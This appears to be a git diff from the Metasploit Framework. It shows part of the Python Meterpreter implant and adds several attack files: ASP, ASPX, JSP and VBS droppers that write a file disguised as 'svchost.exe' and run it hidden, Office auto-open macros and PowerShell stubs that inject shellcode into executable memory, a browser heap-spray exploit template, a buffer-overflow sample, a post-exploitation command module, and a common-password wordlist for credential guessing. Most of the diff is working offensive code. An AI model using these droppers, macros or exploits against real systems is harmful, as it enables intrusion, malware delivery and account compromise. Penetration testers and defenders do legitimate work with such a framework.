toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value']
if toggle:
if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
else:
self.interact_channels.append(channel_id)
elif channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
return ERROR_SUCCESS, response
def _core_channel_read(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
data = ''
if isinstance(channel, file):
data = channel.read(length)
elif isinstance(channel, STDProcess):
if channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
if channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read(length)
elif isinstance(s, socket._socketobject):
data = channel.recv(length)
else:
return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
return ERROR_SUCCESS, response
def _core_channel_write(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
l = len(channel_data)
if isinstance(channel, file):
channel.write(channel_data)
elif isinstance(channel, subprocess.Popen):
if channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
return ERROR_FAILURE, response
channel.stdin.write(channel_data)
elif isinstance(s, socket._socketobject):
try:
l = channel.send(channel_data)
except socket.error:
channel.close()
self.handle_dead_resource_channel(channel_id)
return ERROR_FAILURE, response
else:
return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_LENGTH, l)
return ERROR_SUCCESS, response
def create_response(self, request):
resp = struct.pack('>I', PACKET_TYPE_RESPONSE)
method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD)
resp += tlv_pack(method_tlv)
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
resp += tlv_pack(reqid_tlv)
handler_name = method_tlv['value']
if handler_name in self.extension_functions:
handler = self.extension_functions[handler_name]
try:
#print("[*] running method {0}".format(handler_name))
result, resp = handler(request, resp)
except Exception, err:
#print("[-] method {0} resulted in an error".format(handler_name))
result = ERROR_FAILURE
else:
#print("[-] method {0} was requested but does not exist".format(handler_name))
result = ERROR_FAILURE
resp += tlv_pack(TLV_TYPE_RESULT, result)
resp = struct.pack('>I', len(resp) + 4) + resp
return resp
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
if hasattr(os, 'setsid'):
os.setsid()
met = PythonMeterpreter(s)
met.run()

Binary file not shown.

Binary file not shown.

BIN
data/meterpreter/metsrv.x86.dll Executable file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,24 @@
<%% @language="VBScript" %%>
<%%
Sub %{var_func}()
%{var_shellcode}
Dim %{var_obj}
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
Dim %{var_stream}
Dim %{var_tempdir}
Dim %{var_tempexe}
Dim %{var_basedir}
Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
%{var_obj}.CreateFolder(%{var_basedir})
%{var_tempexe} = %{var_basedir} & "\" & "svchost.exe"
Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe},2,0)
%{var_stream}.Write %{var_bytes}
%{var_stream}.Close
Dim %{var_shell}
Set %{var_shell} = CreateObject("Wscript.Shell")
%{var_shell}.run %{var_tempexe}, 0, false
End Sub
%{var_func}
%%>

View File

@ -0,0 +1,30 @@
<%%@ Page Language="C#" AutoEventWireup="true" %%>
<%%@ Import Namespace="System.IO" %%>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
%{shellcode}
string %{var_tempdir} = Path.GetTempPath();
string %{var_basedir} = Path.Combine(%{var_tempdir}, "%{var_filename}");
string %{var_tempexe} = Path.Combine(%{var_basedir}, "svchost.exe");
Directory.CreateDirectory(%{var_basedir});
FileStream fs = File.Create(%{var_tempexe});
try
{
fs.Write(%{var_file}, 0, %{var_file}.Length);
}
finally
{
if (fs != null) ((IDisposable)fs).Dispose();
}
System.Diagnostics.Process %{var_proc} = new System.Diagnostics.Process();
%{var_proc}.StartInfo.CreateNoWindow = true;
%{var_proc}.StartInfo.UseShellExecute = true;
%{var_proc}.StartInfo.FileName = %{var_tempexe};
%{var_proc}.Start();
}
</script>

View File

@ -0,0 +1,81 @@
'**************************************************************
'*
'* This code is now split into two pieces:
'* 1. The Macro. This must be copied into the Office document
'* macro editor. This macro will run on startup.
'*
'* 2. The Data. The hex dump at the end of this output must be
'* appended to the end of the document contents.
'*
'**************************************************************
'*
'* MACRO CODE
'*
'**************************************************************
Sub Auto_Open()
%{func_name1}
End Sub
Sub %{func_name1}()
Dim %{var_appnr} As Integer
Dim %{var_fname} As String
Dim %{var_fenvi} As String
Dim %{var_fhand} As Integer
Dim %{var_parag} As Paragraph
Dim %{var_index} As Integer
Dim %{var_gotmagic} As Boolean
Dim %{var_itemp} As Integer
Dim %{var_stemp} As String
Dim %{var_btemp} As Byte
Dim %{var_magic} as String
%{var_magic} = "%{var_magic}"
%{var_fname} = "%{filename}.exe"
%{var_fenvi} = Environ("USERPROFILE")
ChDrive (%{var_fenvi})
ChDir (%{var_fenvi})
%{var_fhand} = FreeFile()
Open %{var_fname} For Binary As %{var_fhand}
For Each %{var_parag} in ActiveDocument.Paragraphs
DoEvents
%{var_stemp} = %{var_parag}.Range.Text
If (%{var_gotmagic} = True) Then
%{var_index} = 1
While (%{var_index} < Len(%{var_stemp}))
%{var_btemp} = Mid(%{var_stemp},%{var_index},4)
Put #%{var_fhand}, , %{var_btemp}
%{var_index} = %{var_index} + 4
Wend
ElseIf (InStr(1,%{var_stemp},%{var_magic}) > 0 And Len(%{var_stemp}) > 0) Then
%{var_gotmagic} = True
End If
Next
Close #%{var_fhand}
%{func_name2}(%{var_fname})
End Sub
Sub %{func_name2}(%{var_farg} As String)
Dim %{var_appnr} As Integer
Dim %{var_fenvi} As String
%{var_fenvi} = Environ("USERPROFILE")
ChDrive (%{var_fenvi})
ChDir (%{var_fenvi})
%{var_appnr} = Shell(%{var_farg}, vbHide)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
'**************************************************************
'*
'* PAYLOAD DATA
'*
'**************************************************************
%{var_magic}
%{data}

View File

@ -0,0 +1,24 @@
Function %{var_func}()
%{var_shellcode}
Dim %{var_obj}
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
Dim %{var_stream}
Dim %{var_tempdir}
Dim %{var_tempexe}
Dim %{var_basedir}
Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
%{var_obj}.CreateFolder(%{var_basedir})
%{var_tempexe} = %{var_basedir} & "\" & "svchost.exe"
Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe}, true , false)
%{var_stream}.Write %{var_bytes}
%{var_stream}.Close
Dim %{var_shell}
Set %{var_shell} = CreateObject("Wscript.Shell")
%{var_shell}.run %{var_tempexe}, 0, true
%{var_obj}.DeleteFile(%{var_tempexe})
%{var_obj}.DeleteFolder(%{var_basedir})
End Function
%{init}

View File

@ -0,0 +1,49 @@
<%%@ page import="java.io.*" %%>
<%%
String %{var_hexpath} = application.getRealPath("/") + "/%{var_hexfile}.txt";
String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";
String %{var_data} = "";
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
{
%{var_exepath} = %{var_exepath}.concat(".exe");
}
FileInputStream %{var_inputstream} = new FileInputStream(%{var_hexpath});
FileOutputStream %{var_outputstream} = new FileOutputStream(%{var_exepath});
int %{var_numbytes} = %{var_inputstream}.available();
byte %{var_bytearray}[] = new byte[%{var_numbytes}];
%{var_inputstream}.read(%{var_bytearray});
%{var_inputstream}.close();
byte[] %{var_bytes} = new byte[%{var_numbytes}/2];
for (int %{var_counter} = 0; %{var_counter} < %{var_numbytes}; %{var_counter} += 2)
{
char %{var_char1} = (char) %{var_bytearray}[%{var_counter}];
char %{var_char2} = (char) %{var_bytearray}[%{var_counter} + 1];
int %{var_comb} = Character.digit(%{var_char1}, 16) & 0xff;
%{var_comb} <<= 4;
%{var_comb} += Character.digit(%{var_char2}, 16) & 0xff;
%{var_bytes}[%{var_counter}/2] = (byte)%{var_comb};
}
%{var_outputstream}.write(%{var_bytes});
%{var_outputstream}.close();
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){
String[] %{var_fperm} = new String[3];
%{var_fperm}[0] = "chmod";
%{var_fperm}[1] = "+x";
%{var_fperm}[2] = %{var_exepath};
Process %{var_proc} = Runtime.getRuntime().exec(%{var_fperm});
if (%{var_proc}.waitFor() == 0) {
%{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
}
File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete();
}
else
{
Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
}
%%>

View File

@ -0,0 +1,32 @@
#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal %{var_lpThreadAttributes} As Long, ByVal %{var_dwStackSize} As Long, ByVal %{var_lpStartAddress} As LongPtr, %{var_lpParameter} As Long, ByVal %{var_dwCreationFlags} As Long, %{var_lpThreadID} As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal %{var_lpAddr} As Long, ByVal %{var_lSize} As Long, ByVal %{var_flAllocationType} As Long, ByVal %{var_flProtect} As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal %{var_lDest} As LongPtr, ByRef %{var_Source} As Any, ByVal %{var_Length} As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal %{var_lpThreadAttributes} As Long, ByVal %{var_dwStackSize} As Long, ByVal %{var_lpStartAddress} As Long, %{var_lpParameter} As Long, ByVal %{var_dwCreationFlags} As Long, %{var_lpThreadID} As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal %{var_lpAddr} As Long, ByVal %{var_lSize} As Long, ByVal %{var_flAllocationType} As Long, ByVal %{var_flProtect} As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal %{var_lDest} As Long, ByRef %{var_Source} As Any, ByVal %{var_Length} As Long) As Long
#EndIf
Sub Auto_Open()
Dim %{var_myByte} As Long, %{var_myArray} As Variant, %{var_offset} As Long
#If Vba7 Then
Dim %{var_rwxpage} As LongPtr, %{var_res} As LongPtr
#Else
Dim %{var_rwxpage} As Long, %{var_res} As Long
#EndIf
%{bytes}
%{var_rwxpage} = VirtualAlloc(0, UBound(%{var_myArray}), &H1000, &H40)
For %{var_offset} = LBound(%{var_myArray}) To UBound(%{var_myArray})
%{var_myByte} = %{var_myArray}(%{var_offset})
%{var_res} = RtlMoveMemory(%{var_rwxpage} + %{var_offset}, %{var_myByte}, 1)
Next %{var_offset}
%{var_res} = CreateThread(0, 0, %{var_rwxpage}, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub

View File

@ -0,0 +1,30 @@
Set-StrictMode -Version 2
$%{var_syscode} = @"
using System;
using System.Runtime.InteropServices;
namespace %{var_kernel32} {
public class func {
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
}
}
"@
$%{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider
$%{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters
$%{var_compileParams}.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
$%{var_compileParams}.GenerateInMemory = $True
$%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode})
%{shellcode}
$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)
if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length)
[IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
$%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)

View File

@ -0,0 +1,20 @@
$%{var_syscode} = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@
$%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -namespace Win32Functions -passthru
%{shellcode}
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,[Math]::Max($%{var_code}.Length, 0x1000),0x40)
for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) {
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null
}
$%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0)

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,500 @@
password
123456
12345678
1234
qwerty
12345
dragon
pussy
baseball
football
letmein
monkey
696969
abc123
mustang
michael
shadow
master
jennifer
111111
2000
jordan
superman
harley
1234567
fuckme
hunter
fuckyou
trustno1
ranger
buster
thomas
tigger
robert
soccer
fuck
batman
test
pass
killer
hockey
george
charlie
andrew
michelle
love
sunshine
jessica
asshole
6969
pepper
daniel
access
123456789
654321
joshua
maggie
starwars
silver
william
dallas
yankees
123123
ashley
666666
hello
amanda
orange
biteme
freedom
computer
sexy
thunder
nicole
ginger
heather
hammer
summer
corvette
taylor
fucker
austin
1111
merlin
matthew
121212
golfer
cheese
princess
martin
chelsea
patrick
richard
diamond
yellow
bigdog
secret
asdfgh
sparky
cowboy
camaro
anthony
matrix
falcon
iloveyou
bailey
guitar
jackson
purple
scooter
phoenix
aaaaaa
morgan
tigers
porsche
mickey
maverick
cookie
nascar
peanut
justin
131313
money
horny
samantha
panties
steelers
joseph
snoopy
boomer
whatever
iceman
smokey
gateway
dakota
cowboys
eagles
chicken
dick
black
zxcvbn
please
andrea
ferrari
knight
hardcore
melissa
compaq
coffee
booboo
bitch
johnny
bulldog
xxxxxx
welcome
james
player
ncc1701
wizard
scooby
charles
junior
internet
bigdick
mike
brandy
tennis
blowjob
banana
monster
spider
lakers
miller
rabbit
enter
mercedes
brandon
steven
fender
john
yamaha
diablo
chris
boston
tiger
marine
chicago
rangers
gandalf
winter
bigtits
barney
edward
raiders
porn
badboy
blowme
spanky
bigdaddy
johnson
chester
london
midnight
blue
fishing
000000
hannah
slayer
11111111
rachel
sexsex
redsox
thx1138
asdf
marlboro
panther
zxcvbnm
arsenal
oliver
qazwsx
mother
victoria
7777777
jasper
angel
david
winner
crystal
golden
butthead
viking
jack
iwantu
shannon
murphy
angels
prince
cameron
girls
madison
wilson
carlos
hooters
willie
startrek
captain
maddog
jasmine
butter
booger
angela
golf
lauren
rocket
tiffany
theman
dennis
liverpoo
flower
forever
green
jackie
muffin
turtle
sophie
danielle
redskins
toyota
jason
sierra
winston
debbie
giants
packers
newyork
jeremy
casper
bubba
112233
sandra
lovers
mountain
united
cooper
driver
tucker
helpme
fucking
pookie
lucky
maxwell
8675309
bear
suckit
gators
5150
222222
shithead
fuckoff
jaguar
monica
fred
happy
hotdog
tits
gemini
lover
xxxxxxxx
777777
canada
nathan
victor
florida
88888888
nicholas
rosebud
metallic
doctor
trouble
success
stupid
tomcat
warrior
peaches
apples
fish
qwertyui
magic
buddy
dolphins
rainbow
gunner
987654
freddy
alexis
braves
cock
2112
1212
cocacola
xavier
dolphin
testing
bond007
member
calvin
voodoo
7777
samson
alex
apollo
fire
tester
walter
beavis
voyager
peter
porno
bonnie
rush2112
beer
apple
scorpio
jonathan
skippy
sydney
scott
red123
power
gordon
travis
beaver
star
jackass
flyers
boobs
232323
zzzzzz
steve
rebecca
scorpion
doggie
legend
ou812
yankee
blazer
bill
runner
birdie
bitches
555555
parker
topgun
asdfasdf
heaven
viper
animal
2222
bigboy
4444
arthur
baby
private
godzilla
donald
williams
lifehack
phantom
dave
rock
august
sammy
cool
brian
platinum
jake
bronco
paul
mark
frank
heka6w2
copper
billy
cumshot
garfield
willow
cunt
little
carter
slut
albert
69696969
kitten
super
jordan23
eagle1
shelby
america
11111
jessie
house
free
123321
chevy
bullshit
white
broncos
horney
surfer
nissan
999999
saturn
airborne
elephant
marvin
shit
action
adidas
qwert
kevin
1313
explorer
walker
police
christin
december
benjamin
wolf
sweet
therock
king
online
dickhead
brooklyn
teresa
cricket
sharon
dexter
racing
penis
gregory
0000
teens
redwings
dreams
michigan
hentai
magnum
87654321
nothing
donkey
trinity
digital
333333
stella
cartman
guinness
123abc
speedy
buffalo

View File

@ -0,0 +1,8 @@
aspnet_client/
Autodiscover/
ecp/
EWS/
Microsoft-Server-ActiveSync/
OAB/
PowerShell/
Rpc/

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,5 @@
ADMIN
admin
root
Administrator
USERID

View File

@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20130516204810) do
ActiveRecord::Schema.define(:version => 20130717150737) do
create_table "api_keys", :force => true do |t|
t.text "token"
@ -19,38 +19,13 @@ ActiveRecord::Schema.define(:version => 20130516204810) do
t.datetime "updated_at", :null => false
end
create_table "attachments", :force => true do |t|
t.string "name", :limit => 512
t.binary "data"
t.string "content_type", :limit => 512
t.boolean "inline", :default => true, :null => false
t.boolean "zip", :default => false, :null => false
t.integer "campaign_id"
end
create_table "attachments_email_templates", :id => false, :force => true do |t|
t.integer "attachment_id"
t.integer "email_template_id"
end
create_table "campaigns", :force => true do |t|
t.integer "workspace_id", :null => false
t.string "name", :limit => 512
t.text "prefs"
t.integer "status", :default => 0
t.datetime "started_at"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
create_table "clients", :force => true do |t|
t.integer "host_id"
t.datetime "created_at"
t.string "ua_string", :limit => 1024, :null => false
t.string "ua_name", :limit => 64
t.string "ua_ver", :limit => 32
t.string "ua_string", :limit => 1024, :null => false
t.string "ua_name", :limit => 64
t.string "ua_ver", :limit => 32
t.datetime "updated_at"
t.integer "campaign_id"
end
create_table "creds", :force => true do |t|
@ -66,24 +41,6 @@ ActiveRecord::Schema.define(:version => 20130516204810) do
t.string "source_type"
end
create_table "email_addresses", :force => true do |t|
t.integer "campaign_id", :null => false
t.string "first_name", :limit => 512
t.string "last_name", :limit => 512
t.string "address", :limit => 512
t.boolean "sent", :default => false, :null => false
t.datetime "clicked_at"
end
create_table "email_templates", :force => true do |t|
t.string "name", :limit => 512
t.string "subject", :limit => 1024
t.text "body"
t.integer "parent_id"
t.integer "campaign_id"
t.text "prefs"
end
create_table "events", :force => true do |t|
t.integer "workspace_id"
t.integer "host_id"
@ -167,18 +124,11 @@ ActiveRecord::Schema.define(:version => 20130516204810) do
add_index "hosts", ["state"], :name => "index_hosts_on_state"
add_index "hosts", ["workspace_id", "address"], :name => "index_hosts_on_workspace_id_and_address", :unique => true
create_table "hosts_tags", :id => false, :force => true do |t|
create_table "hosts_tags", :force => true do |t|
t.integer "host_id"
t.integer "tag_id"
end
create_table "imported_creds", :force => true do |t|
t.integer "workspace_id", :default => 1, :null => false
t.string "user", :limit => 512
t.string "pass", :limit => 512
t.string "ptype", :limit => 16, :default => "password"
end
create_table "listeners", :force => true do |t|
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
@ -427,6 +377,34 @@ ActiveRecord::Schema.define(:version => 20130516204810) do
t.datetime "updated_at", :null => false
end
create_table "task_creds", :force => true do |t|
t.integer "task_id", :null => false
t.integer "cred_id", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
create_table "task_hosts", :force => true do |t|
t.integer "task_id", :null => false
t.integer "host_id", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
create_table "task_services", :force => true do |t|
t.integer "task_id", :null => false
t.integer "service_id", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
create_table "task_sessions", :force => true do |t|
t.integer "task_id", :null => false
t.integer "session_id", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
create_table "tasks", :force => true do |t|
t.integer "workspace_id", :default => 1, :null => false
t.string "created_by"
@ -561,14 +539,6 @@ ActiveRecord::Schema.define(:version => 20130516204810) do
add_index "web_sites", ["options"], :name => "index_web_sites_on_options"
add_index "web_sites", ["vhost"], :name => "index_web_sites_on_vhost"
create_table "web_templates", :force => true do |t|
t.string "name", :limit => 512
t.string "title", :limit => 512
t.string "body", :limit => 524288
t.integer "campaign_id"
t.text "prefs"
end
create_table "web_vulns", :force => true do |t|
t.integer "web_site_id", :null => false
t.datetime "created_at", :null => false
@ -576,7 +546,7 @@ ActiveRecord::Schema.define(:version => 20130516204810) do
t.text "path", :null => false
t.string "method", :limit => 1024, :null => false
t.text "params", :null => false
t.text "pname", :null => false
t.text "pname"
t.integer "risk", :null => false
t.string "name", :limit => 1024, :null => false
t.text "query"

View File

@ -15,19 +15,18 @@ require 'msf/core'
###
class Metasploit4 < Msf::Auxiliary
def initialize
super(
def initialize(info={})
super(update_info(info,
'Name' => 'Sample Auxiliary Module',
'Version' => '$Revision: 4419 $',
'Description' => 'Sample Auxiliary Module',
'Author' => 'hdm',
'Author' => ['hdm'],
'License' => MSF_LICENSE,
'Actions' =>
[
['Default Action'],
['Another Action']
]
)
))
end

View File

@ -15,12 +15,12 @@ class Metasploit4 < Msf::Encoder
def initialize
super(
'Name' => 'Sample encoder',
'Version' => '$Revision$',
'Name' => 'Sample Encoder',
'Description' => %q{
Sample encoder that just returns the block it's passed
when encoding occurs.
},
'License' => MSF_LICENSE,
'Author' => 'skape',
'Arch' => ARCH_ALL)
end

View File

@ -0,0 +1,147 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
###
#
# This exploit sample demonstrates how a typical browser exploit is written using commonly
# used components such as: HttpServer, BrowserAutopwn, RopDB, DOM Element Property Spray.
#
###
class Metasploit4 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
# Set :classid and :method for ActiveX exploits. For example:
# :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}",
# :method => "SetShapeNodeType",
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "8.0",
:ua_maxver => "10.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => NormalRanking
})
def initialize(info={})
super(update_info(info,
'Name' => "Module Name",
'Description' => %q{
This template covers IE8/9/10, and uses the user-agent HTTP header to detect
the browser version. Please note IE8 and newer may emulate an older IE version
in compatibility mode, in that case the module won't be able to detect the
browser correctly.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' =>
[
[ 'URL', 'http://metasploit.com' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ],
[ 'IE 9 on Windows 7', { 'Rop' => :jre } ],
[ 'IE 10 on Windows 8', { 'Rop' => :jre } ]
],
'Payload' =>
{
'BadChars' => "\x00", # js_property_spray
'StackAdjustment' => -3500
},
'Privileged' => false,
'DisclosureDate' => "Apr 1 2013",
'DefaultTarget' => 0))
end
def get_target(agent)
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
when '6.2'
os_name = 'Windows 8'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
return t
end
end
nil
end
def get_payload(t)
stack_pivot = "\x41\x42\x43\x44"
code = payload.encoded
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
else
print_status("Using JRE ROP")
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
end
rop_payload
end
def get_html(t)
js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
html = %Q|
<script>
#{js_property_spray}
var s = unescape("#{js_p}");
sprayHeap({shellcode:s});
</script>
|
html.gsub(/^\t\t/, '')
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
print_status("Requesting: #{request.uri}")
target = get_target(agent)
if target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
print_status("Target selected as: #{target.name}")
html = get_html(target)
send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })
end
end

View File

@ -22,13 +22,13 @@ class Metasploit4 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'Sample exploit',
'Name' => 'Sample Exploit',
'Description' => %q{
This exploit module illustrates how a vulnerability could be exploited
in an TCP server that has a parsing bug.
},
'Author' => 'skape',
'Version' => '$Revision$',
'License' => MSF_LICENSE,
'Author' => ['skape'],
'References' =>
[
],
@ -41,14 +41,15 @@ class Metasploit4 < Msf::Exploit::Remote
[
# Target 0: Windows All
[
'Windows Universal',
'Windows XP/Vista/7/8',
{
'Platform' => 'win',
'Ret' => 0x41424344
}
],
],
'DefaultTarget' => 0))
'DisclosureDate' => "Apr 1 2013",
'DefaultTarget' => 0))
end
#
@ -56,11 +57,11 @@ class Metasploit4 < Msf::Exploit::Remote
# vulnerable.
#
def check
return Exploit::CheckCode::Vulnerable
Exploit::CheckCode::Vulnerable
end
#
# The exploit method connects to the remote service and sends 1024 A's
# The exploit method connects to the remote service and sends 1024 random bytes
# followed by the fake return address and then the payload.
#
def exploit
@ -69,13 +70,13 @@ class Metasploit4 < Msf::Exploit::Remote
print_status("Sending #{payload.encoded.length} byte payload...")
# Build the buffer for transmission
buf = "A" * 1024
buf += [ target.ret ].pack('V')
buf += payload.encoded
buf = rand_text_alpha(1024)
buf << [ target.ret ].pack('V')
buf << payload.encoded
# Send it off
sock.put(buf)
sock.get
sock.get_once
handler
end

View File

@ -17,9 +17,9 @@ class Metasploit4 < Msf::Nop
def initialize
super(
'Name' => 'Sample NOP generator',
'Version' => '$Revision$',
'Name' => 'Sample NOP Generator',
'Description' => 'Sample single-byte NOP generator',
'License' => MSF_LICENSE,
'Author' => 'skape',
'Arch' => ARCH_X86)
end

View File

@ -19,8 +19,8 @@ module Metasploit4
def initialize(info = {})
super(update_info(info,
'Name' => 'Debugger Trap',
'Version' => '$Revision$',
'Description' => 'Causes a debugger trap exception through int3',
'License' => MSF_LICENSE,
'Author' => 'skape',
'Platform' => 'win',
'Arch' => ARCH_X86,

View File

@ -0,0 +1,40 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/post/common'
###
#
# This post module sample shows how we can execute a command on the compromised machine
#
###
class Metasploit4 < Msf::Post
include Msf::Post::Common
def initialize(info={})
super(update_info(info,
'Name' => 'Sample Post Module',
'Description' => %q{Sample Post Module},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r'],
'Platform' => [ 'win'],
'SessionTypes' => [ "shell", "meterpreter" ]
))
end
#
# This post module runs a ipconfig command and returns the output
#
def run
print_status("Executing ipconfig on remote machine")
o = cmd_exec("ipconfig")
print_line(o)
end
end

View File

@ -0,0 +1,132 @@
<ruby>
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
#
# Put your 'require' here
#
#
# RC files currently have no 'modinfo' like a real Metasploit module, so this help message
# will have to do the trick for now.
#
def help
